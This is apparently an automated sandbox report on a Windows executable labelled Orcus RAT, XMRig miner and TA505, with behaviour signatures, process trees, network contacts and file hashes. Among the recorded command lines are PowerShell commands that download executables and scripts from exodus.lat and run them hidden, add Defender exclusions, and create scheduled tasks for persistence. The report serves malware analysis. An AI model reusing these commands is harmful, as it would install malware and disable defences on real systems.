Analysis Overview
SHA256
6092579a997945b10d3f279693baa004d180417ccfec941c45eb20705a2b4706
Threat Level: Known bad
The file a67e34baacfca98f323981d3b0087f3b.exe was found to be: Known bad.
Malicious Activity Summary
Orcus family
Suspicious use of NtCreateUserProcessOtherParentProcess
Xmrig family
xmrig
XMRig Miner payload
Ta505 family
Orcus
TA505
Orcurs Rat Executable
Downloads MZ/PE file
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Deletes itself
Reads user/profile data of web browsers
Loads dropped DLL
Executes dropped EXE
Accesses cryptocurrency files/wallets, possible credential harvesting
Looks up external IP address via web service
Adds Run key to start application
Enumerates processes with tasklist
Drops file in Windows directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Command and Scripting Interpreter: JavaScript
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
Suspicious use of FindShellTrayWindow
Scheduled Task/Job: Scheduled Task
Enumerates system info in registry
Runs net.exe
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-12-06 17:22
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-12-06 17:22
Reported
2024-12-06 17:25
Platform
win7-20240903-en
Max time kernel
133s
Max time network
150s
Command Line
Signatures
Orcus
Orcus family
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2328 created 1248 | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | C:\Windows\Explorer.EXE |
Orcurs Rat Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\smartscreen.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe" | C:\Users\Admin\AppData\Local\Temp\smartscreen.exe | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\MovieArchives | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
| File opened for modification | C:\Windows\PackageExpression | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\choice.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\find.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Runs net.exe
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe
"C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
C:\Windows\SysWOW64\cmd.exe
cmd /c md 491505
C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
Dr.com B
C:\Windows\SysWOW64\choice.exe
choice /d y /t 15
C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
"C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "imagename eq mi.exe"
C:\Windows\SysWOW64\find.exe
find /i "mi.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
C:\Windows\system32\taskeng.exe
taskeng.exe {F3075064-95B2-4970-BE43-4DDFDB28B0C1} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE //B "C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js"
C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr
"C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\Admin\AppData\Local\CreativePixel Tech\E"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | UWPunrsopYzTstryocRtyY.UWPunrsopYzTstryocRtyY | udp |
| GB | 45.74.38.211:4782 | tcp | |
| US | 8.8.8.8:53 | exodus.lat | udp |
| NL | 203.161.45.11:443 | exodus.lat | tcp |
| NL | 203.161.45.11:443 | exodus.lat | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\Audit
| MD5 | 9da23439e34b0498b82ae193c5a8f3a8 |
| SHA1 | ae20bbe7fac03c94e42f4dd206d89003faae7899 |
| SHA256 | 0f241cc0324871a1a900a7ac0edf889a8d12875b1072f44856cc979a4b7a77ac |
| SHA512 | cd4b262753b4f5f1dac09c20fa64ebdee00cf4a3fce92287a7439df943ea65bdf8569f541c2668b2164139b91facccfb3c98db8ad8f686637f4e317583cc98a2 |
C:\Users\Admin\AppData\Local\Temp\Commissioner
| MD5 | 6ee7ddebff0a2b78c7ac30f6e00d1d11 |
| SHA1 | f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2 |
| SHA256 | 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4 |
| SHA512 | 57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0 |
C:\Users\Admin\AppData\Local\Temp\Dentists
| MD5 | 895c5374a042a9e6c78c673690cd2275 |
| SHA1 | 9dfe1b532f958f678de2bac7c74646e007a8fa14 |
| SHA256 | 226099aac21e8d4a671a68b37d204339703fb696b6cc5aa30311fb55d6ab2147 |
| SHA512 | 130af34bb1d12db8e86b930d8e490754687e1381a0104ac4c98cc2f02ff7fc4ed9e1d549121a013e1c32663a00d1dc8eb20d2f9831feb3c7eb17bf61a1d8d52c |
C:\Users\Admin\AppData\Local\Temp\Proceeds
| MD5 | de061b898e12d89c92409f220918347f |
| SHA1 | 6b571edab30dcc4d5518e5bebb296d1f7bf5414c |
| SHA256 | 70fda66f3ea2607d6cff63d0a6a7258577690d2a9bc5105bb529889ce025d1c2 |
| SHA512 | 61d94f04572643dc4274aedda51e7cb6bcccefcfa4556e6d87f94195ddf90ffbeb65909688c7bc3407f244021cc6dff0c8692fd7835ee61e6a43a0394a693a2b |
C:\Users\Admin\AppData\Local\Temp\Justice
| MD5 | 774df02c553d130dde3aa7496b64ebed |
| SHA1 | e2a4aab8c3b654bd022662045fa70413a80e55f9 |
| SHA256 | ae9283c1a14b751639a75592295d85105954b761737ab77fc1e667a1498f2e9e |
| SHA512 | c132cdf383e4fa32362d50768898ed9c6cd1e306056d066168a8ac1ee3ea7953424ff3b241ff1e0376b99b91f566b698bfef07da9bc45471097a6637dc154d11 |
C:\Users\Admin\AppData\Local\Temp\Artistic
| MD5 | d35007cc8b2860b1fe9ee861e1f2846d |
| SHA1 | 58638fd185601506b3b13fe254065aeb7edff28c |
| SHA256 | de1e4dbe18f0b926b49aceb10157bc7f542409bad6242422efef3b831608a037 |
| SHA512 | 45f851201656cb19c89274d124a7625a4c9fe12f412616a84458aa1857c61455126264416ff7fa1c9ffa99b994613baecfacd1f8179240a5021c7e5b867ea068 |
C:\Users\Admin\AppData\Local\Temp\Disturbed
| MD5 | 0e2df9a4f4d78ad0299f0377d417b39e |
| SHA1 | a2452ab3b04b480dfc2a58a416762e280254751f |
| SHA256 | 8834f63f09734b9f284437f26cba4909ce9ae1aceafa27e2bcd7531c1a7479df |
| SHA512 | d8194f24cc02fc030c7cf1dab5970257a79b8bcc887a8ff1ccd104e94ea809dcd266b056c80e6a0e73cba71f81e654389025c939e3135f6fafca9d51737812b8 |
C:\Users\Admin\AppData\Local\Temp\Flavor
| MD5 | d9182f7a263f19b9876e7e1568e6c760 |
| SHA1 | d0683b5a7247a2f4a69473165d2c2649f2e1c01f |
| SHA256 | 4efff79e94f136f9bbaed62501810937785831b8c10ee9eb675ceae24cf3c4c9 |
| SHA512 | 85582b94da822580eb26bc477440d87fb0a9ed98e3b75166cd96c2a18c88367c8bdd808fc43c52c2078e625efd81983e9f2e733272289833700649ad58a96a9b |
C:\Users\Admin\AppData\Local\Temp\Zip
| MD5 | 84f05dddefb1c72567827be553fe67fe |
| SHA1 | c2ebcc4de3439a8206aa8faac90312bfb207ce4f |
| SHA256 | b7de8d92196f323eb9a6237b9e902461569fd093b36e1988dee9de2ab157bb12 |
| SHA512 | 99954fa07fe7cc0e54dbd0af09b32507cd998c8b44cb63f1ffe8e30667b6d1bb0949a6c95b60e40e73f0b0bb3f11e79f8fa23f696032118210cd10f03eec2904 |
C:\Users\Admin\AppData\Local\Temp\Soundtrack
| MD5 | b75737c804ca9949cc63bd42c945a5e6 |
| SHA1 | 75c0490174adc40d1824b1024021b82dd5c762b7 |
| SHA256 | 628068ee856d68776d6e9b755cd42d7a5a46af1a2a6a2c22e65db95b5d2d8f2c |
| SHA512 | 58fedd2bd6318d4b93de429d184701e059321c16872cafc978837c29985404bf432e4a2701894f7f67045f9684da40c8e14f9f557da3398c5d6eeca2e18faca7 |
C:\Users\Admin\AppData\Local\Temp\Revenue
| MD5 | aabc90b85b9c3b51543de0339d29778e |
| SHA1 | 299f5e2ca9326e0a5feefb4fc7b05da93cfd11a1 |
| SHA256 | 9a0a3567f4c9b9ca46fbf41d65cdd5ce464b0efe42d6aaf7cff840addbe05d60 |
| SHA512 | 3d951489d7d46874909bfd82e9cac346bdd15bbb485fc76e1ed7d6fe7bb51a7649d1f649b75bb6f6f1b6f10ea16113cd01c20aa7ea85d038fcb7fe317082edf3 |
C:\Users\Admin\AppData\Local\Temp\491505\B
| MD5 | 0a1e63fc10dd1dbb8b2db81e2388bf99 |
| SHA1 | 67ad39aabbf4875bc1b165ccd5afc40194d1d3c8 |
| SHA256 | 122991768f589431b9166a4e22523bf48a53efff73fc2b191955e604196541b7 |
| SHA512 | 94c50f06e1d157381b9d0746044b5d015e2946b44291d92739783cb3ed9e91371cf7d1b981d3108d910d7a7000810fe69fbe6590f9a84f822b671866ab9db5fc |
\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
| MD5 | b58b926c3574d28d5b7fdd2ca3ec30d5 |
| SHA1 | d260c4ffd603a9cfc057fcb83d678b1cecdf86f9 |
| SHA256 | 6e70b56d748c4ccab13cc8a055d3795ea0dd95fe3b70568d7d3ac0c6621140a3 |
| SHA512 | b13cb998822b716b695013bcd6dec62a2290567d0d1743b2d982ca084235cf69c6ea1fc91c9d4e62657c6f9e102c7c60e81296ab055ffe43b887c5f8ec8958ab |
memory/1624-373-0x0000000000450000-0x0000000000854000-memory.dmp
memory/1624-375-0x0000000000450000-0x0000000000854000-memory.dmp
memory/1624-376-0x0000000000450000-0x0000000000854000-memory.dmp
memory/1624-379-0x0000000000330000-0x000000000033E000-memory.dmp
memory/1624-380-0x0000000002D10000-0x0000000002D6C000-memory.dmp
memory/1624-381-0x0000000000990000-0x00000000009A2000-memory.dmp
memory/1624-382-0x0000000000C00000-0x0000000000C08000-memory.dmp
memory/1624-383-0x0000000000C10000-0x0000000000C18000-memory.dmp
memory/1624-384-0x0000000000C20000-0x0000000000C28000-memory.dmp
memory/1624-385-0x0000000000E60000-0x0000000000E78000-memory.dmp
memory/1624-386-0x0000000000F90000-0x0000000000FA0000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Cab9781.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Temp\download.bat
| MD5 | f2a75175c8082ccd3e1713b00556a6e2 |
| SHA1 | 2f5dc37978320bc1ca207c0c0aff1240aad6c7cf |
| SHA256 | 019157c15709f7d6301cb0fb15f45c054230ea91f06ff817b426d7f6ccb14686 |
| SHA512 | 011ab44e81d61636d5b1637584faf0701a5b2226289b6200cd89ad97927f52f1c659df626afc2b46edd656960d67934fff97f5e10fd6a7454027d430feafa7a9 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | edf322cce62719117972e8b61f5419e6 |
| SHA1 | 9fb84bd5bcd8eef1dd77fb3d3b91c7f1bc1ecc67 |
| SHA256 | 9250efd693bcf97eecd19ba42f9b6e67fff5663bcc32f895d968ba2b3b5987fb |
| SHA512 | 249bfea75cd061f7fad1fc12b715741e628b71c3019295162b7ee9cb1254a1a8f44b094610844b64610009eb6b6420a616e3e1223317ce342534c78930a7b53e |
C:\Users\Admin\AppData\Local\Temp\runsteal.bat
| MD5 | 744f8978db36b4b9db7cb6e5c8c41e08 |
| SHA1 | 84321921f622d20a4d40c9bef43b7744e74aaee7 |
| SHA256 | cedfe277f8c600679365ce2c54a9c303907a0acadc23ed6e6968746d2e8ca468 |
| SHA512 | d1584b2134bf3960af33a514b3a9fba69c7eb2fbbc3b0cffe7e493f182b20547f7596012fcc5e6b5ffbefee5a0b7d1afe45eee822cff5b0720ffd6292af2394f |
\Users\Admin\AppData\Local\Temp\smartscreen.exe
| MD5 | 1fed66d1f6b85bda20fe0403ca01c9bd |
| SHA1 | 6a3056191a7d8da167285b2bf5f9fa671022c8c1 |
| SHA256 | 924ee12f6a98aeeb1c7836ec8984f0f93216bfff0433bcd4ee643d33d96db74a |
| SHA512 | 0fb1397078689a52d1c77cc239b1e42afa5ff87a3f5b4f825705e9bda1bd2c58bfb50a6067ea0a202fa7edb0a890cbac9314413fc8757c8b75a43fa0b12ef613 |
C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat
| MD5 | d1fdfad5ce7134b1ef5a54cf37001031 |
| SHA1 | 82e0f4e953b3aeaca622ec071639baf6ae17aadb |
| SHA256 | 54f8474d983dc3dd78e3d3289076152651e2f8cc5f30ae3f2740ba15e71cc6a6 |
| SHA512 | b6b7b4f134a6b436cd32e39fb645d91acc12482d352158a755359d0f6cbb8fd5bab9351081916b0b638e3ff2bde4b6ac2f6202f3ca58f1146f39defc039e88e7 |
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
memory/2452-452-0x0000000000EC0000-0x0000000000EEE000-memory.dmp
C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js
| MD5 | f4e7fb4a2cd7331909b6376b42e531ab |
| SHA1 | 1459ff7146bb25b5ffa3921ed13b2a60b5c09718 |
| SHA256 | 62e85e74af89f12a35f62448a1585c68b7599306dada8ca9dddde6018d7b12b3 |
| SHA512 | 4616a3a014f1b1217c5c694b4d6785abea360dad8c622e8180b6531d8796e602eda0a0cd922dfa45b277604440778b847d18afb8baff7818e8d6ff3fb4dc8a28 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-12-06 17:22
Reported
2024-12-06 17:25
Platform
win10v2004-20241007-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Orcus
Orcus family
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1680 created 3388 | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | C:\Windows\Explorer.EXE |
TA505
Ta505 family
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xmrig family
xmrig
Orcurs Rat Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
